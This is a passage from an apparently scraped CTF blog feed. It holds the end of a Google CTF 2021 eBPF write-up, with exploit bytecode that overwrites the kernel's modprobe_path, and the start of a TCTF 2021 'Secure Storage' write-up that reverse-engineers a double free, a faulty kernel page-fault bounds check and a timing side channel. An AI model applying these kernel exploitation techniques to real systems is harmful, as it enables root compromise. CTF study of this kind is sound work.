class="n">BPF_REG_3</span><span class="p">,</span> <span class="n">BPF_REG_0</span><span class="p">),</span> <span class="n">BPF_ALU64_IMM</span><span class="p">(</span><span class="n">BPF_XOR</span><span class="p">,</span> <span class="n">BPF_REG_3</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="c1">// convert r0, r3 to scalar</span> <span class="n">BPF_ALU64_IMM</span><span class="p">(</span><span class="n">BPF_XOR</span><span class="p">,</span> <span class="n">BPF_REG_0</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="n">BPF_MOV64_IMM</span><span class="p">(</span><span class="n">BPF_REG_1</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="n">BPF_MOV64_IMM</span><span class="p">(</span><span class="n">BPF_REG_2</span><span class="p">,</span> <span class="p">(</span><span class="n">modprobe</span> <span class="o">&gt;&gt;</span> <span class="mh">0x30</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xffff</span><span class="p">),</span> <span class="n">BPF_ALU64_IMM</span><span class="p">(</span><span class="n">BPF_LSH</span><span class="p">,</span> <span class="n">BPF_REG_2</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">),</span> <span class="n">BPF_ALU64_REG</span><span class="p">(</span><span class="n">BPF_OR</span><span class="p">,</span> <span class="n">BPF_REG_1</span><span class="p">,</span> <span class="n">BPF_REG_2</span><span class="p">),</span> <span class="n">BPF_MOV64_IMM</span><span class="p">(</span><span class="n">BPF_REG_2</span><span class="p">,</span> <span class="p">(</span><span class="n">modprobe</span> <span class="o">&gt;&gt;</span> <span class="mh">0x20</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xffff</span><span class="p">),</span> <span class="n">BPF_ALU64_IMM</span><span class="p">(</span><span class="n">BPF_LSH</span><span class="p">,</span> <span class="n">BPF_REG_2</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">),</span> <span class="n">BPF_ALU64_REG</span><span class="p">(</span><span class="n">BPF_OR</span><span class="p">,</span> <span class="n">BPF_REG_1</span><span class="p">,</span> <span class="n">BPF_REG_2</span><span class="p">),</span> <span class="n">BPF_MOV64_IMM</span><span class="p">(</span><span class="n">BPF_REG_2</span><span class="p">,</span> <span class="p">(</span><span class="n">modprobe</span> <span class="o">&gt;&gt;</span> <span class="mh">0x10</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xffff</span><span class="p">),</span> <span class="n">BPF_ALU64_IMM</span><span class="p">(</span><span class="n">BPF_LSH</span><span class="p">,</span> <span class="n">BPF_REG_2</span><span class="p">,</span> <span class="mh">0x10</span><span class="p">),</span> <span class="n">BPF_ALU64_REG</span><span class="p">(</span><span class="n">BPF_OR</span><span class="p">,</span> <span class="n">BPF_REG_1</span><span class="p">,</span> <span class="n">BPF_REG_2</span><span class="p">),</span> <span class="n">BPF_MOV64_IMM</span><span class="p">(</span><span class="n">BPF_REG_2</span><span class="p">,</span> <span class="p">(</span><span class="n">modprobe</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xffff</span><span class="p">),</span> <span class="n">BPF_ALU64_REG</span><span class="p">(</span><span class="n">BPF_OR</span><span class="p">,</span> <span class="n">BPF_REG_1</span><span class="p">,</span> <span class="n">BPF_REG_2</span><span class="p">),</span> <span class="c1">// r1 = &amp;modprobe</span> <span class="n">BPF_ALU64_REG</span><span class="p">(</span><span class="n">BPF_XOR</span><span class="p">,</span> <span class="n">BPF_REG_0</span><span class="p">,</span> <span class="n">BPF_REG_1</span><span class="p">),</span> <span class="c1">// r0 = src ^ &amp;modprobe</span> <span class="n">BPF_ALU64_IMM</span><span class="p">(</span><span class="n">BPF_XOR</span><span class="p">,</span> <span class="n">BPF_REG_0</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="c1">// convert r0 back to PTR_TO_MAP_VALUE</span> <span class="n">BPF_ALU64_REG</span><span class="p">(</span><span class="n">BPF_XOR</span><span class="p">,</span> <span class="n">BPF_REG_3</span><span class="p">,</span> <span class="n">BPF_REG_0</span><span class="p">),</span> <span class="c1">// r3 = src ^ src ^ &amp;modprobe</span> <span class="n">BPF_MOV64_IMM</span><span class="p">(</span><span class="n">BPF_REG_4</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="n">BPF_MOV64_IMM</span><span class="p">(</span><span class="n">BPF_REG_2</span><span class="p">,</span> <span class="p">(</span><span class="n">tmp_x</span> <span class="o">&gt;&gt;</span> <span class="mh">0x20</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xffff</span><span class="p">),</span> <span class="n">BPF_ALU64_IMM</span><span class="p">(</span><span class="n">BPF_LSH</span><span class="p">,</span> <span class="n">BPF_REG_2</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">),</span> <span class="n">BPF_ALU64_REG</span><span class="p">(</span><span class="n">BPF_OR</span><span class="p">,</span> <span class="n">BPF_REG_4</span><span class="p">,</span> <span class="n">BPF_REG_2</span><span class="p">),</span> <span class="n">BPF_MOV64_IMM</span><span class="p">(</span><span class="n">BPF_REG_2</span><span class="p">,</span> <span class="p">(</span><span class="n">tmp_x</span> <span class="o">&gt;&gt;</span> <span class="mh">0x10</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xffff</span><span class="p">),</span> <span class="n">BPF_ALU64_IMM</span><span class="p">(</span><span class="n">BPF_LSH</span><span class="p">,</span> <span class="n">BPF_REG_2</span><span class="p">,</span> <span class="mh">0x10</span><span class="p">),</span> <span class="n">BPF_ALU64_REG</span><span class="p">(</span><span class="n">BPF_OR</span><span class="p">,</span> <span class="n">BPF_REG_4</span><span class="p">,</span> <span class="n">BPF_REG_2</span><span class="p">),</span> <span class="n">BPF_MOV64_IMM</span><span class="p">(</span><span class="n">BPF_REG_2</span><span class="p">,</span> <span class="p">(</span><span class="n">tmp_x</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xffff</span><span class="p">),</span> <span class="n">BPF_ALU64_REG</span><span class="p">(</span><span class="n">BPF_OR</span><span class="p">,</span> <span class="n">BPF_REG_4</span><span class="p">,</span> <span class="n">BPF_REG_2</span><span class="p">),</span> <span class="c1">// r4 = /tmp/x</span> <span class="n">BPF_STX_MEM</span><span class="p">(</span><span class="n">BPF_DW</span><span class="p">,</span> <span class="n">BPF_REG_3</span><span class="p">,</span> <span class="n">BPF_REG_4</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="c1">// rewrite modprobe_path</span> <span class="n">BPF_JMP_IMM</span><span class="p">(</span><span class="n">BPF_JMP</span><span class="p">,</span> <span class="n">BPF_REG_0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">),</span> <span class="n">BPF_MOV64_IMM</span><span class="p">(</span><span class="n">BPF_REG_0</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="cm">/* r0 = 0 */</span> <span class="n">BPF_EXIT_INSN</span><span class="p">(),</span> <span class="p">};</span> </code></pre></div></div> <p>There are also 2 points to note:</p> <ol> <li>We have to load the immediate number using <code class="language-plaintext highlighter-rouge">BPF_LSH</code> and <code class="language-plaintext highlighter-rouge">BPF_OR</code>, because <code class="language-plaintext highlighter-rouge">BPF_MOV64_IMM</code> can only support 32-bit signed immediate number.</li> <li>We cannot apply <code class="language-plaintext highlighter-rouge">BPF_XOR, PTR_TO_MAP_VALUE register, &amp;modprobe_path register</code> directly because this will raise an error, since value of <code class="language-plaintext highlighter-rouge">&amp;modprobe_path</code> is too low as signed 64-bit integer and is less than a minimum value; instead, we need to convert the register to scalar first before applying this operation, and after this operation the register becomes <code class="language-plaintext highlighter-rouge">PTR_TO_MAP_VALUE</code> again, so we need to apply a <code class="language-plaintext highlighter-rouge">BPF_XOR</code> again to convert it back to scalar. Fortunately, such 3-times <code class="language-plaintext highlighter-rouge">BPF_XOR</code> does not cause any crash when loading the bytecode.</li> </ol> <p>The full exploit is <a href="https://github.com/Mem2019/Mem2019.github.io/blob/master/codes/eBPF.c">here</a>.</p> <h2 id="0x04-conclusion">0x04 Conclusion</h2> <p>This challenge is quite good since I have learned a lot about eBPF when solving this challenge. I hope eBPF can also be a good attack interface when doing real world Linux kernel vulnerability research.</p> Mon, 19 Jul 2021 00:00:00 +0000 https://mem2019.github.io/jekyll/update/2021/07/19/GCTF2021-eBPF.html https://mem2019.github.io/jekyll/update/2021/07/19/GCTF2021-eBPF.html jekyll update TCTF 2021 Secure Storage <h2 id="0x00-overview">0x00 Overview</h2> <p>Last weekend I played TCTF Qualifier online and spent all of my time on this challenge, but still failed to solve it in time. After the contest, I finally solved this challenge. This is a crazy nested challenge: we firstly need to use side channel attack to leak <code class="language-plaintext highlighter-rouge">admin_key.txt</code>; then we need to exploit <code class="language-plaintext highlighter-rouge">ss_agent</code> to get the ability to open and operate on <code class="language-plaintext highlighter-rouge">/dev/ss</code>; then we need to exploit <code class="language-plaintext highlighter-rouge">ss.ko</code> to get the root shell; finally we need to exploit <code class="language-plaintext highlighter-rouge">qemu</code> to get the flag outside. Since the <code class="language-plaintext highlighter-rouge">qemu</code> part has no relation to other parts of the challenge, and it’s my teammate rather than me who solved this part, I will not cover it in this writeup.</p> <h2 id="0x01-reverse-engineering">0x01 Reverse Engineering</h2> <h3 id="ss_agent">ss_agent</h3> <p>This is a menu Pwn challenge. In initialization, it firstly adds a <code class="language-plaintext highlighter-rouge">flock</code> to itself to prevent multiple instances being run, and reads <code class="language-plaintext highlighter-rouge">admin_key.txt</code> to a global buffer. It has 4 options:</p> <ol> <li><strong>register</strong>: read a length and a name from <code class="language-plaintext highlighter-rouge">stdin</code>, and store them with <code class="language-plaintext highlighter-rouge">admin_key</code> to kernel storage slot 0; note that the length passed to kernel storage is buffer length instead of actual length of the name, so it is possible to leak uninitialized heap buffer data here.</li> <li><strong>store</strong>: read slot, data and key from <code class="language-plaintext highlighter-rouge">stdin</code>, and store them to kernel storage with given slot. The slot here cannot be 0.</li> <li><strong>retrieve</strong>: read slot and key from <code class="language-plaintext highlighter-rouge">stdin</code>, and compare the given key with key stored in kernel storage with given slot; if they are same, output the data stored in kernel storage.</li> <li><strong>kick</strong>: read admin key from <code class="language-plaintext highlighter-rouge">stdin</code>, and compare the given key with key stored in kernel storage slot 0; if they are same, output the data in storage 0 (which is the name provided in register) and free the name pointer without setting it to <code class="language-plaintext highlighter-rouge">NULL</code>, so here is a <em>double free</em>.</li> </ol> <p>The <strong>kernel storage</strong> access is implemented by <code class="language-plaintext highlighter-rouge">ioctl</code> and <code class="language-plaintext highlighter-rouge">mmap</code>, the user-space code is shown below:</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">char</span> <span class="o">*</span><span class="kr">__fastcall</span> <span class="nf">get_ss_mmap_page</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">slot</span><span class="p">)</span> <span class="p">{</span> <span class="kt">char</span> <span class="o">*</span><span class="n">result</span><span class="p">;</span> <span class="c1">// rax</span> <span class="kt">signed</span> <span class="kt">int</span> <span class="n">fd</span><span class="p">;</span> <span class="c1">// [rsp+10h] [rbp-10h]</span> <span class="kt">int</span> <span class="n">fd_4</span><span class="p">;</span> <span class="c1">// [rsp+14h] [rbp-Ch]</span> <span class="kt">char</span> <span class="o">*</span><span class="n">v4</span><span class="p">;</span> <span class="c1">// [rsp+18h] [rbp-8h]</span> <span class="n">fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/dev/ss"</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span> <span class="c1">// open /dev/ss</span> <span class="k">if</span> <span class="p">(</span> <span class="n">fd</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="p">)</span> <span class="k">return</span> <span class="mi">0LL</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">slot</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0x80000000</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0LL</span> <span class="p">)</span> <span class="c1">// use ioctl to set the slot</span> <span class="p">{</span> <span class="n">v4</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">mmap</span><span class="p">(</span><span class="mi">0LL</span><span class="p">,</span> <span class="mh">0x10000uLL</span><span class="p">,</span> <span class="mi">3uLL</span><span class="p">,</span> <span class="mi">1uLL</span><span class="p">,</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">fd</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">);</span> <span class="c1">// use mmap to map the kernel storage into user space</span> <span class="n">fd_4</span> <span class="o">=</span> <span class="n">close</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v4</span> <span class="o">&amp;&amp;</span> <span class="n">fd_4</span> <span class="o">&gt;=</span> <span class="mi">0</span> <span class="p">)</span> <span class="n">result</span> <span class="o">=</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// return the kernel page if there is no problem</span> <span class="k">else</span> <span class="n">result</span> <span class="o">=</span> <span class="mi">0LL</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">...</span> <span class="k">return</span> <span class="n">result</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>The format of kernel storage is 8-byte data length + data + 32-byte key, as we can see when <code class="language-plaintext highlighter-rouge">ss_agent</code> writes the storage.</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__int64</span> <span class="kr">__fastcall</span> <span class="nf">write_to_storage</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">slot</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">a2</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">len</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">a4</span><span class="p">)</span> <span class="p">{</span> <span class="n">__int64</span> <span class="n">result</span><span class="p">;</span> <span class="c1">// rax</span> <span class="kt">char</span> <span class="o">*</span><span class="n">v7</span><span class="p">;</span> <span class="c1">// [rsp+28h] [rbp-8h]</span> <span class="k">if</span> <span class="p">(</span> <span class="n">len</span> <span class="o">&gt;</span> <span class="mh">0xFFD7</span> <span class="p">)</span> <span class="k">return</span> <span class="mh">0xFFFFFFFFLL</span><span class="p">;</span> <span class="n">v7</span> <span class="o">=</span> <span class="n">get_ss_mmap_page</span><span class="p">(</span><span class="n">slot</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">v7</span> <span class="p">)</span> <span class="k">return</span> <span class="mh">0xFFFFFFFFLL</span><span class="p">;</span> <span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">v7</span> <span class="o">=</span> <span class="n">len</span><span class="p">;</span> <span class="n">_memcpy</span><span class="p">((</span><span class="n">v7</span> <span class="o">+</span> <span class="mi">8</span><span class="p">),</span> <span class="n">a2</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span> <span class="n">_memcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">v7</span><span class="p">[</span><span class="n">len</span> <span class="o">+</span> <span class="mi">8</span><span class="p">],</span> <span class="n">a4</span><span class="p">,</span> <span class="mi">32LL</span><span class="p">);</span><span class="c1">// layout: length + data + key</span> <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">munmap</span><span class="p">((</span><span class="n">__int64</span><span class="p">)</span><span class="n">v7</span><span class="p">)</span> <span class="o">&gt;=</span> <span class="mi">0</span> <span class="p">)</span> <span class="n">result</span> <span class="o">=</span> <span class="mi">0LL</span><span class="p">;</span> <span class="k">else</span> <span class="n">result</span> <span class="o">=</span> <span class="mh">0xFFFFFFFFLL</span><span class="p">;</span> <span class="k">return</span> <span class="n">result</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>However, to exploit this <code class="language-plaintext highlighter-rouge">ss_agent</code>, we have to leak <code class="language-plaintext highlighter-rouge">admin_key.txt</code> first, otherwise we cannot trigger the double free bug.</p> <h3 id="ssko">ss.ko</h3> <p>This is the kernel module that implements <code class="language-plaintext highlighter-rouge">/dev/ss</code> device. The functionality can be briefly described as follows:</p> <ol> <li>In handler of <code class="language-plaintext highlighter-rouge">open</code> at <code class="language-plaintext highlighter-rouge">0x390</code>, <code class="language-plaintext highlighter-rouge">private_data</code> field (<code class="language-plaintext highlighter-rouge">+0xc8</code>) of <code class="language-plaintext highlighter-rouge">struct file*</code> is initialized to a structure used to store <code class="language-plaintext highlighter-rouge">slot</code>, which is initialized to value <code class="language-plaintext highlighter-rouge">-1</code>.</li> <li>In handler of <code class="language-plaintext highlighter-rouge">ioctl</code> at <code class="language-plaintext highlighter-rouge">0x710</code>, slot is stored into structure pointed by <code class="language-plaintext highlighter-rouge">private_data</code>; note that we can only call <code class="language-plaintext highlighter-rouge">ioctl</code> once for each <code class="language-plaintext highlighter-rouge">fd</code>.</li> <li>In handler of <code class="language-plaintext highlighter-rouge">mmap</code> at <code class="language-plaintext highlighter-rouge">0x7e0</code>, page fault handler <code class="language-plaintext highlighter-rouge">0x3e0</code> is registered.</li> <li>The handler of page fault at <code class="language-plaintext highlighter-rouge">0x3e0</code> is an important function, so its code is shown below:</li> </ol> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__int64</span> <span class="kr">__fastcall</span> <span class="nf">fault</span><span class="p">(</span><span class="k">struct</span> <span class="n">vm_fault</span> <span class="o">*</span><span class="n">fau</span><span class="p">)</span> <span class="p">{</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v1</span><span class="p">;</span> <span class="c1">// er14</span> <span class="kt">int</span> <span class="n">v2</span><span class="p">;</span> <span class="c1">// eax</span> <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">access_off</span><span class="p">;</span> <span class="c1">// rbx</span> <span class="n">__int64</span> <span class="n">slot</span><span class="p">;</span> <span class="c1">// r12</span> <span class="kt">char</span> <span class="o">*</span><span class="n">returned_vpage</span><span class="p">;</span> <span class="c1">// r15</span> <span class="n">__int64</span> <span class="n">phy_page</span><span class="p">;</span> <span class="c1">// rax</span> <span class="n">__int64</span> <span class="n">v7</span><span class="p">;</span> <span class="c1">// rcx</span> <span class="n">__int64</span> <span class="n">v8</span><span class="p">;</span> <span class="c1">// rdx</span> <span class="n">__int64</span> <span class="n">v9</span><span class="p">;</span> <span class="c1">// r13</span> <span class="kt">int</span> <span class="n">v10</span><span class="p">;</span> <span class="c1">// er12</span> <span class="n">mut</span> <span class="o">*</span><span class="n">v11</span><span class="p">;</span> <span class="c1">// r13</span> <span class="kt">int</span> <span class="n">page_idx</span><span class="p">;</span> <span class="c1">// eax</span> <span class="kt">int</span> <span class="n">v13</span><span class="p">;</span> <span class="c1">// ebx</span> <span class="kt">char</span> <span class="o">*</span><span class="n">v14</span><span class="p">;</span> <span class="c1">// r12</span> <span class="kt">int</span> <span class="n">v15</span><span class="p">;</span> <span class="c1">// edx</span> <span class="n">v1</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span> <span class="n">v2</span> <span class="o">=</span> <span class="p">(</span><span class="n">LODWORD</span><span class="p">(</span><span class="n">fau</span><span class="o">-&gt;</span><span class="n">vma</span><span class="o">-&gt;</span><span class="n">vm_pgoff</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">12</span><span class="p">)</span> <span class="o">+</span> <span class="p">((</span><span class="n">fau</span><span class="o">-&gt;</span><span class="n">pgoff</span> <span class="o">-</span> <span class="n">LODWORD</span><span class="p">(</span><span class="n">fau</span><span class="o">-&gt;</span><span class="n">vma</span><span class="o">-&gt;</span><span class="n">vm_start</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFF000</span><span class="p">);</span> <span class="c1">// vm_pgoff seems to be 0;</span> <span class="c1">// pgoff seems to be virtual address accessed with low 12 bits cleared to 0;</span> <span class="c1">// vm_start seems to be base virtual address returned from mmap</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v2</span> <span class="o">&lt;=</span> <span class="mh">0xFFFF</span> <span class="p">)</span> <span class="c1">// negative v2 can pass the check!</span> <span class="p">{</span> <span class="n">access_off</span> <span class="o">=</span> <span class="n">v2</span><span class="p">;</span> <span class="n">slot</span> <span class="o">=</span> <span class="o">**</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">**</span><span class="p">)(</span><span class="n">fau</span><span class="o">-&gt;</span><span class="n">vma</span><span class="o">-&gt;</span><span class="n">vm_file</span> <span class="o">+</span> <span class="mi">200</span><span class="p">);</span> <span class="n">returned_vpage</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">mmap_buffer</span><span class="p">[</span><span class="mh">0x10000</span> <span class="o">*</span> <span class="n">slot</span> <span class="o">+</span> <span class="n">v2</span><span class="p">];</span> <span class="c1">// calculate buffer address corresponding to the access</span> <span class="n">phy_page</span> <span class="o">=</span> <span class="n">vmalloc_to_page</span><span class="p">(</span><span class="n">returned_vpage</span><span class="p">);</span> <span class="n">v7</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">phy_page</span> <span class="o">+</span> <span class="mi">8</span><span class="p">);</span> <span class="n">v8</span> <span class="o">=</span> <span class="n">v7</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="n">v7</span> <span class="o">&amp;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span> <span class="p">)</span> <span class="n">v8</span> <span class="o">=</span> <span class="n">phy_page</span><span class="p">;</span> <span class="n">_InterlockedIncrement</span><span class="p">((</span><span class="k">volatile</span> <span class="kt">signed</span> <span class="kr">__int32</span> <span class="o">*</span><span class="p">)(</span><span class="n">v8</span> <span class="o">+</span> <span class="mh">0x34</span><span class="p">));</span> <span class="n">fau</span><span class="o">-&gt;</span><span class="n">page</span> <span class="o">=</span> <span class="p">(</span><span class="k">struct</span> <span class="n">page</span> <span class="o">*</span><span class="p">)</span><span class="n">phy_page</span><span class="p">;</span> <span class="c1">// return the page</span> <span class="n">v9</span> <span class="o">=</span> <span class="n">slot</span><span class="p">;</span> <span class="n">v10</span> <span class="o">=</span> <span class="mi">16</span> <span class="o">*</span> <span class="n">slot</span><span class="p">;</span> <span class="n">v11</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">mutexes</span><span class="p">[</span><span class="n">v9</span><span class="p">];</span> <span class="n">mutex_lock</span><span class="p">(</span><span class="n">v11</span><span class="p">);</span> <span class="n">page_idx</span> <span class="o">=</span> <span class="n">v10</span> <span class="o">+</span> <span class="p">(</span><span class="n">access_off</span> <span class="o">&gt;&gt;</span> <span class="mi">12</span><span class="p">);</span> <span class="c1">// offset to mmap_buffer &gt;&gt; 12</span> <span class="n">v13</span> <span class="o">=</span> <span class="p">((</span><span class="n">_BYTE</span><span class="p">)</span><span class="n">v10</span> <span class="o">+</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)(</span><span class="n">access_off</span> <span class="o">&gt;&gt;</span> <span class="mi">12</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mi">7</span><span class="p">;</span> <span class="n">v14</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">bitmap</span><span class="p">[</span><span class="n">page_idx</span> <span class="o">&gt;&gt;</span> <span class="mi">3</span><span class="p">];</span> <span class="n">v15</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="o">*</span><span class="n">v14</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">_bittest</span><span class="p">(</span><span class="o">&amp;</span><span class="n">v15</span><span class="p">,</span> <span class="n">v13</span><span class="p">)</span> <span class="p">)</span> <span class="c1">// use offset in PAGE_SIZE unit as index to access the bitmap</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">sub_90</span><span class="p">(</span><span class="n">page_idx</span><span class="p">,</span> <span class="n">returned_vpage</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="p">)</span> <span class="p">{</span> <span class="n">mutex_unlock</span><span class="p">(</span><span class="n">v11</span><span class="p">);</span> <span class="k">return</span> <span class="n">v1</span><span class="p">;</span> <span class="p">}</span> <span class="o">*</span><span class="n">v14</span> <span class="o">|=</span> <span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="n">v13</span><span class="p">;</span> <span class="c1">// set to 1</span> <span class="p">}</span> <span class="n">v1</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">mutex_unlock</span><span class="p">(</span><span class="n">v11</span><span class="p">);</span> <span class="p">}</span> <span class="k">return</span> <span class="n">v1</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>When we use this kernel module, following occurs step by step:</p> <ol> <li>We call <code class="language-plaintext highlighter-rouge">open</code> to open <code class="language-plaintext highlighter-rouge">/dev/ss</code>, <code class="language-plaintext highlighter-rouge">ioctl</code> to set slot, and <code class="language-plaintext highlighter-rouge">mmap</code> to register the fault handler and return a piece of virtual memory corresponding to the handler, without actually allocating physical memory for the virtual memory.</li> <li>When we first time use the virtual memory returned from <code class="language-plaintext highlighter-rouge">mmap</code>, the page fault handler at <code class="language-plaintext highlighter-rouge">0x3e0</code> is called.</li> <li>The handler firstly calculate the offset of accessed page to virtual address returned from <code class="language-plaintext highlighter-rouge">mmap</code>, the value is stored in <code class="language-plaintext highlighter-rouge">v2</code>; and then it checks value of <code class="language-plaintext highlighter-rouge">v2</code>, the process continues only if <code class="language-plaintext highlighter-rouge">v2 &lt;= 0xffff</code>.</li> <li>The handler obtains value of <code class="language-plaintext highlighter-rouge">slot</code> from <code class="language-plaintext highlighter-rouge">struct file*</code>, it then calculates the page to be returned using <code class="language-plaintext highlighter-rouge">&amp;mmap_buffer[0x10000 * slot + v2]</code>; in other word, this kernel page is going to be mapped into user space; <code class="language-plaintext highlighter-rouge">mmap_buffer</code> is a global buffer in <code class="language-plaintext highlighter-rouge">ss.ko</code> with size <code class="language-plaintext highlighter-rouge">0x100000</code>.</li> <li>Then <code class="language-plaintext highlighter-rouge">vmalloc_to_page</code> is called to convert the kernel virtual address into physical address, and its return value is set to <code class="language-plaintext highlighter-rouge">page</code> field of <code class="language-plaintext highlighter-rouge">struct vm_fault*</code> as the result of this fault handler.</li> <li>Then the offset stored in <code class="language-plaintext highlighter-rouge">v2</code> is shifted and used as index to a bitmap; if the returned bit is zero, <code class="language-plaintext highlighter-rouge">sub_90</code> is called on the returned page, in which many operations are done; then that bit is set to one.</li> <li>After fault handler is returned, the corresponding virtual memory in user space now has physical memory mapping, which maps to corresponding page in <code class="language-plaintext highlighter-rouge">mmap_buffer</code>; so future access to this virtual page will not cause fault anymore.</li> </ol> <h3 id="debugging">Debugging</h3> <p>To inspect memory of <code class="language-plaintext highlighter-rouge">ss.ko</code> and set breakpoint to <code class="language-plaintext highlighter-rouge">ss.ko</code>, we need to know its address in memory. My approach is shown as following:</p> <ol> <li>Use <code class="language-plaintext highlighter-rouge">cat /proc/kallsyms | grep cleanup_module</code> to get address of function <code class="language-plaintext highlighter-rouge">cleanup_module</code></li> <li>In <code class="language-plaintext highlighter-rouge">gdb</code>, type <code class="language-plaintext highlighter-rouge">x/2i</code> on address from step 1, then we can get address of <code class="language-plaintext highlighter-rouge">unk_1300</code></li> <li>In <code class="language-plaintext highlighter-rouge">gdb</code>, type <code class="language-plaintext highlighter-rouge">x/10gx</code> on address from step 2, then we can get address of <code class="language-plaintext highlighter-rouge">sub_0</code>, which is base address of code segment</li> <li>In <code class="language-plaintext highlighter-rouge">gdb</code>, type <code class="language-plaintext highlighter-rouge">x/i</code> on address from step 3 <code class="language-plaintext highlighter-rouge">+0x669</code>, we can get address of <code class="language-plaintext highlighter-rouge">mmap_buffer</code></li> </ol> <h2 id="0x02-side-channel-attack">0x02 Side Channel Attack</h2> <p>Now we are going to leak <code class="language-plaintext highlighter-rouge">admin_key.txt</code> using time-based side channel attack. We observed that: 1. <code class="language-plaintext highlighter-rouge">memcmp</code> function is implemented byte-by-byte; 2. page fault that calls <code class="language-plaintext highlighter-rouge">sub_90</code> takes quite long time. Therefore, we can manipulate the layout of slot 0 so that the first byte of <code class="language-plaintext highlighter-rouge">admin_key</code> is in the first page and remaining parts are in the second page. Therefore, when we call <code class="language-plaintext highlighter-rouge">kick</code>, if first byte of our input does not equal to first byte of <code class="language-plaintext highlighter-rouge">admin_key</code>, the second page will not be accessed so comparison should be fast; otherwise the second byte will be accessed, causing page fault and <code class="language-plaintext highlighter-rouge">sub_90</code> to be called, which makes comparison slow. We can use this approach to brute-force first byte of <code class="language-plaintext highlighter-rouge">admin_key</code>. Then we can shift the <code class="language-plaintext highlighter-rouge">admin_key</code> to left (e.i. reduce length of name) by 1 byte and use the same approach to get the following bytes.</p> <p>Note that we cannot do this in Python <code class="language-plaintext highlighter-rouge">pwntools</code>, because network latency fluctuation is much more than the difference mentioned above. Instead, we have used C to implement such attack. We upload the program to remote and run it directly, so there will be no network latency. Anonymous pipe is used for IO interaction, and <code class="language-plaintext highlighter-rouge">__rdtsc</code> is used for time difference calculation, you can read exploit code for more details.</p> <p>Another thing to note is we need to ensure <code class="language-plaintext 